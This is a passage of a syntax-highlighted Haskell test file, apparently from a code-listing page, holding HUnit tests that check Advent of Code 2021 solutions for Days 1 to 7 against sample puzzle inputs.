&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testSonarSweep&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testSonarSweep&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;TestCase&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;getDataFileName&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/scratchpad/01-sonar-sweep.sample.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;withFile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;ReadMode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#75af00"&gt;\&lt;/span&gt;&lt;span style="color:#111"&gt;h&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;hGetContents&lt;/span&gt; &lt;span style="color:#111"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;ls&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;lines&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;fromString&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;numIncreases,&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SonarSweep&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;numIncreases&lt;/span&gt; &lt;span style="color:#111"&gt;ls&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;numIncreases,&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SonarSweep&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;num3MeasurementIncreases&lt;/span&gt; &lt;span style="color:#111"&gt;ls&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test01&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test01&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;TestLabel&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 01: Sonar Sweep&amp;#34;&lt;/span&gt; &lt;span style="color:#111"&gt;testSonarSweep&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testDive&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testDive&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;TestCase&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;getDataFileName&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/Dive/scratchpad/sample.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;withFile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;ReadMode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#75af00"&gt;\&lt;/span&gt;&lt;span style="color:#111"&gt;h&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;hGetContents&lt;/span&gt; &lt;span style="color:#111"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;ls&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;lines&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;fromString&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Stale Interpretation,&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;150&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;productOfFinalPosition&lt;/span&gt; &lt;span style="color:#111"&gt;ls&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Correct Interpretation,&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;900&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;productOfFinalPositionWithNewIntepretation&lt;/span&gt; &lt;span style="color:#111"&gt;ls&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test02&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test02&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;TestLabel&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 02: Dive!&amp;#34;&lt;/span&gt; &lt;span style="color:#111"&gt;testDive&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testBinaryDiagnostic&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testBinaryDiagnostic&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;TestCase&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;parseBinaryDiagnosticInput&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/BinaryDiagnostic/scratchpad/sample.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Power Consumption,&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;198&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;powerConsumption&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Life Support Rating,&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;230&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;lifeSupportRating&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test03&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test03&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;TestLabel&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 03: Binary Diagnostic&amp;#34;&lt;/span&gt; &lt;span style="color:#111"&gt;testBinaryDiagnostic&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testGiantSquid&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testGiantSquid&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;TestCase&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;parseBingoInput&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/scratchpad/04-giant-squid.sample.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Score of First Winning Board,&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;4512&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;scoreOfFirstWinningBoard&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Score of Last Winning Board,&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1924&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;scoreOfLastWinningBoard&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test04&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test04&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;TestLabel&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 04: Giant Squid&amp;#34;&lt;/span&gt; &lt;span style="color:#111"&gt;testGiantSquid&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testHydrothermalVenture&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testHydrothermalVenture&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;TestCase&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;parseHydrothermalVents&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/HydrothermalVenture/scratchpad/sample.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Num Points w/ &amp;gt;= 2 Right Segments Overlapping,&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;pointsWithAtLeastTwoRightSegmentOverlaps&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Num Points w/ &amp;gt;= 2 Segments Overlapping,&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;pointsWithAtLeastTwoSegmentOverlaps&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test05&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test05&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;TestLabel&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 05: Hydrothermal Venture&amp;#34;&lt;/span&gt; &lt;span style="color:#111"&gt;testHydrothermalVenture&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testLanternfish&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testLanternfish&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;TestCase&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;parseLanternfishInternalTimers&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/scratchpad/06-lanternfish.sample.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Num of lantern fish in 80 days,&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;5934&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;AoC2021&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Lanternfish&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;numOfFishIn80Days&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Num of lantern fish in 256 days,&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;26984457539&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;AoC2021&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Lanternfish&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;numOfFishIn256Days&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test06&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test06&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;TestLabel&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 06: Lanternfish&amp;#34;&lt;/span&gt; &lt;span style="color:#111"&gt;testLanternfish&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testTreacheryOfWhales&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testTreacheryOfWhales&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;TestCase&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;parseHorizontalCrabPositions&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/scratchpad/07-treachery-of-whales.sample.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Min fuel needed to align horizontal positions &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;37&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;TreacheryOfWhales&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;minFuelForAlignmentWithConstantBurnRate&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
